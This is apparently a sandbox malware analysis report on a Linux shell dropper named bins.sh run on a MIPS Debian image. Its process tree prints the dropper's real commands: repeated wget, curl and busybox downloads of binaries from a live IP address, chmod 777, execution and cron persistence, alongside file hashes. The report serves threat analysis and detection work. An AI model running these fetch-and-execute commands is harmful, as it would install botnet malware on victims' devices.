Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20/11/2024, 06:31

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241120-g92l5sseqf
  • SHA256 f1e174b1d227f565f874156a1ed092123bfc4421c41ef3b7eb9f57d85b94a109
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1411) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 36 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Writes file to tmp directory
          PID:724
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          ./9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            ./yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
            • Executes dropped EXE
            PID:748
          • /bin/rm
            rm yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
            2⤵
              PID:750
            • /usr/bin/wget
              wget http://87.120.125.191/bins/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • Writes file to tmp directory
              PID:753
            • /bin/chmod
              chmod 777 CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • File and Directory Permissions Modification
              PID:754
            • /tmp/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              ./CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
              • Executes dropped EXE
              PID:755
            • /bin/rm
              rm CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
              2⤵
                PID:757
              • /usr/bin/wget
                wget http://87.120.125.191/bins/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • Writes file to tmp directory
                PID:758
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • Writes file to tmp directory
                PID:761
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • Writes file to tmp directory
                PID:770
              • /bin/chmod
                chmod 777 uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • File and Directory Permissions Modification
                PID:774
              • /tmp/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                ./uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                • Executes dropped EXE
                PID:775
              • /bin/rm
                rm uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                2⤵
                  PID:778
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • Writes file to tmp directory
                  PID:780
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • Writes file to tmp directory
                  PID:787
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • Writes file to tmp directory
                  PID:794
                • /bin/chmod
                  chmod 777 IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • File and Directory Permissions Modification
                  PID:798
                • /tmp/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  ./IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                  • Executes dropped EXE
                  PID:800
                • /bin/rm
                  rm IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                  2⤵
                    PID:803
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • Writes file to tmp directory
                    PID:804
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • Writes file to tmp directory
                    PID:816
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • Writes file to tmp directory
                    PID:822
                  • /bin/chmod
                    chmod 777 jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:823
                  • /tmp/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    ./jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                    • Executes dropped EXE
                    PID:824
                  • /bin/rm
                    rm jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                    2⤵
                      PID:826
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                      2⤵
                      • Writes file to tmp directory
                      PID:827
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                      2⤵
                      • Writes file to tmp directory
                      PID:828
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                      2⤵
                      • Writes file to tmp directory
                      PID:829
                    • /bin/chmod
                      chmod 777 qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:830
                    • /tmp/qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                      ./qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                      2⤵
                      • Executes dropped EXE
                      PID:831
                    • /bin/rm
                      rm qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                      2⤵
                        PID:833
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                        2⤵
                        • Writes file to tmp directory
                        PID:834
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                        2⤵
                        • Writes file to tmp directory
                        PID:835
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                        2⤵
                        • Writes file to tmp directory
                        PID:836
                      • /bin/chmod
                        chmod 777 CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                        2⤵
                        • File and Directory Permissions Modification
                        PID:839
                      • /tmp/CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                        ./CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                        2⤵
                        • Executes dropped EXE
                        PID:840
                      • /bin/rm
                        rm CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                        2⤵
                          PID:844
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA
                          2⤵
                          • Writes file to tmp directory
                          PID:845
                        • /usr/bin/curl
                          curl -O http://87.120.125.191/bins/rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA
                          2⤵
                          • Writes file to tmp directory
                          PID:851
                        • /bin/busybox
                          /bin/busybox wget http://87.120.125.191/bins/rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA
                          2⤵
                          • Writes file to tmp directory
                          PID:861
                        • /bin/chmod
                          chmod 777 rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA
                          2⤵
                          • File and Directory Permissions Modification
                          PID:865
                        • /tmp/rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA
                          ./rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA
                          2⤵
                          • Executes dropped EXE
                          PID:866
                        • /bin/rm
                          rm rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA
                          2⤵
                            PID:869
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/yQpbu8tZijMmPZlfEcxCw00ATBMHQ9EgYt
                            2⤵
                            • Writes file to tmp directory
                            PID:870
                          • /usr/bin/curl
                            curl -O http://87.120.125.191/bins/yQpbu8tZijMmPZlfEcxCw00ATBMHQ9EgYt
                            2⤵
                            • Writes file to tmp directory
                            PID:877
                          • /bin/busybox
                            /bin/busybox wget http://87.120.125.191/bins/yQpbu8tZijMmPZlfEcxCw00ATBMHQ9EgYt
                            2⤵
                            • Writes file to tmp directory
                            PID:880
                          • /bin/chmod
                            chmod 777 yQpbu8tZijMmPZlfEcxCw00ATBMHQ9EgYt
                            2⤵
                            • File and Directory Permissions Modification
                            PID:881
                          • /tmp/yQpbu8tZijMmPZlfEcxCw00ATBMHQ9EgYt
                            ./yQpbu8tZijMmPZlfEcxCw00ATBMHQ9EgYt
                            2⤵
                            • Executes dropped EXE
                            PID:882
                          • /bin/rm
                            rm yQpbu8tZijMmPZlfEcxCw00ATBMHQ9EgYt
                            2⤵
                              PID:884
                            • /usr/bin/wget
                              wget http://87.120.125.191/bins/Edto9HmaUgj0MtKTMvoQl1K0bWVcaSCWoI
                              2⤵
                              • Writes file to tmp directory
                              PID:885
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/Edto9HmaUgj0MtKTMvoQl1K0bWVcaSCWoI
                              2⤵
                              • Writes file to tmp directory
                              PID:886
                            • /bin/busybox
                              /bin/busybox wget http://87.120.125.191/bins/Edto9HmaUgj0MtKTMvoQl1K0bWVcaSCWoI
                              2⤵
                              • Writes file to tmp directory
                              PID:887
                            • /bin/chmod
                              chmod 777 Edto9HmaUgj0MtKTMvoQl1K0bWVcaSCWoI
                              2⤵
                              • File and Directory Permissions Modification
                              PID:888
                            • /tmp/Edto9HmaUgj0MtKTMvoQl1K0bWVcaSCWoI
                              ./Edto9HmaUgj0MtKTMvoQl1K0bWVcaSCWoI
                              2⤵
                              • Executes dropped EXE
                              PID:889
                            • /bin/rm
                              rm Edto9HmaUgj0MtKTMvoQl1K0bWVcaSCWoI
                              2⤵
                                PID:891
                              • /usr/bin/wget
                                wget http://87.120.125.191/bins/e0PhMZKQq0QQrbyVGOqtUPffVLx6VwhEuG
                                2⤵
                                • Writes file to tmp directory
                                PID:892
                              • /usr/bin/curl
                                curl -O http://87.120.125.191/bins/e0PhMZKQq0QQrbyVGOqtUPffVLx6VwhEuG
                                2⤵
                                • Writes file to tmp directory
                                PID:893
                              • /bin/busybox
                                /bin/busybox wget http://87.120.125.191/bins/e0PhMZKQq0QQrbyVGOqtUPffVLx6VwhEuG
                                2⤵
                                • Writes file to tmp directory
                                PID:894
                              • /bin/chmod
                                chmod 777 e0PhMZKQq0QQrbyVGOqtUPffVLx6VwhEuG
                                2⤵
                                • File and Directory Permissions Modification
                                PID:895
                              • /tmp/e0PhMZKQq0QQrbyVGOqtUPffVLx6VwhEuG
                                ./e0PhMZKQq0QQrbyVGOqtUPffVLx6VwhEuG
                                2⤵
                                • Executes dropped EXE
                                • Renames itself
                                • Reads runtime system information
                                PID:896
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:898
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                        PID:899
                                    • /bin/sh
                                      sh -c "crontab -"
                                      3⤵
                                        PID:900
                                        • /usr/bin/crontab
                                          crontab -
                                          4⤵
                                          • Creates/modifies Cron job
                                          PID:901
                                    • /bin/rm
                                      rm e0PhMZKQq0QQrbyVGOqtUPffVLx6VwhEuG
                                      2⤵
                                        PID:903
                                      • /usr/bin/wget
                                        wget http://87.120.125.191/bins/GjBnnN1SxGkzzfWXbGl4eVCmefINO3vSdp
                                        2⤵
                                          PID:906
                                        • /usr/bin/curl
                                          curl -O http://87.120.125.191/bins/GjBnnN1SxGkzzfWXbGl4eVCmefINO3vSdp
                                          2⤵
                                            PID:907

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO

                                              • Path /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
                                              • Size 99KB
                                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                              • MD5 SHA1 SHA512 SSDEEP

                                              CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB

                                              • Path /tmp/CMiRxLfPT02jcsPMxzSZWjFGq7ghemeBBB
                                              • Size 117KB
                                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                              • MD5 SHA1 SHA512 SSDEEP

                                              CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV

                                              • Path /tmp/CzfY3WCfUcUN1vj8fkEFhkFJAhcGHQbHpV
                                              • Size 111KB
                                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                              • MD5 SHA1 SHA512 SSDEEP

                                              Edto9HmaUgj0MtKTMvoQl1K0bWVcaSCWoI

                                              • Path /tmp/Edto9HmaUgj0MtKTMvoQl1K0bWVcaSCWoI
                                              • Size 127KB
                                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8

                                              • Path /tmp/IilTWcCLbCYKsTDDUI9JUspBXnzpPZ1HA8
                                              • Size 122KB
                                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                              • MD5 SHA1 SHA512 SSDEEP

                                              e0PhMZKQq0QQrbyVGOqtUPffVLx6VwhEuG

                                              • Path /tmp/e0PhMZKQq0QQrbyVGOqtUPffVLx6VwhEuG
                                              • Size 151KB
                                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                              • MD5 SHA1 SHA512 SSDEEP

                                              jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ

                                              • Path /tmp/jlggVBfhQL8dXCSbIGofV2KmUGz2vLwYDQ
                                              • Size 151KB
                                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                              • MD5 SHA1 SHA512 SSDEEP

                                              qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l

                                              • Path /tmp/qTtADy7qXEy8AZSejNSjSLaQxvsEFWqS6l
                                              • Size 111KB
                                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                              • MD5 SHA1 SHA512 SSDEEP

                                              rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA

                                              • Path /tmp/rTVygq67bdKN5FrIylBdjC3WphUPQ5jBgA
                                              • Size 177KB
                                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                              • MD5 SHA1 SHA512 SSDEEP

                                              uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF

                                              • Path /tmp/uWpZIYmE8emAxD7pzxoeyGJ5cUt6qTi2HF
                                              • Size 112KB
                                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                              • MD5 SHA1 SHA512 SSDEEP

                                              yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J

                                              • Path /tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
                                              • Size 119KB
                                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                              • MD5 SHA1 SHA512 SSDEEP

                                              yQpbu8tZijMmPZlfEcxCw00ATBMHQ9EgYt

                                              • Path /tmp/yQpbu8tZijMmPZlfEcxCw00ATBMHQ9EgYt
                                              • Size 141KB
                                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.rHzOev

                                              • Path /var/spool/cron/crontabs/tmp.rHzOev
                                              • Size 210B
                                              • SHA256 27dbc52d1d3396bb2a4f5611a55f1eb6afd67c8d0452e70147605b0c91d8d390
                                              • MD5 SHA1 SHA512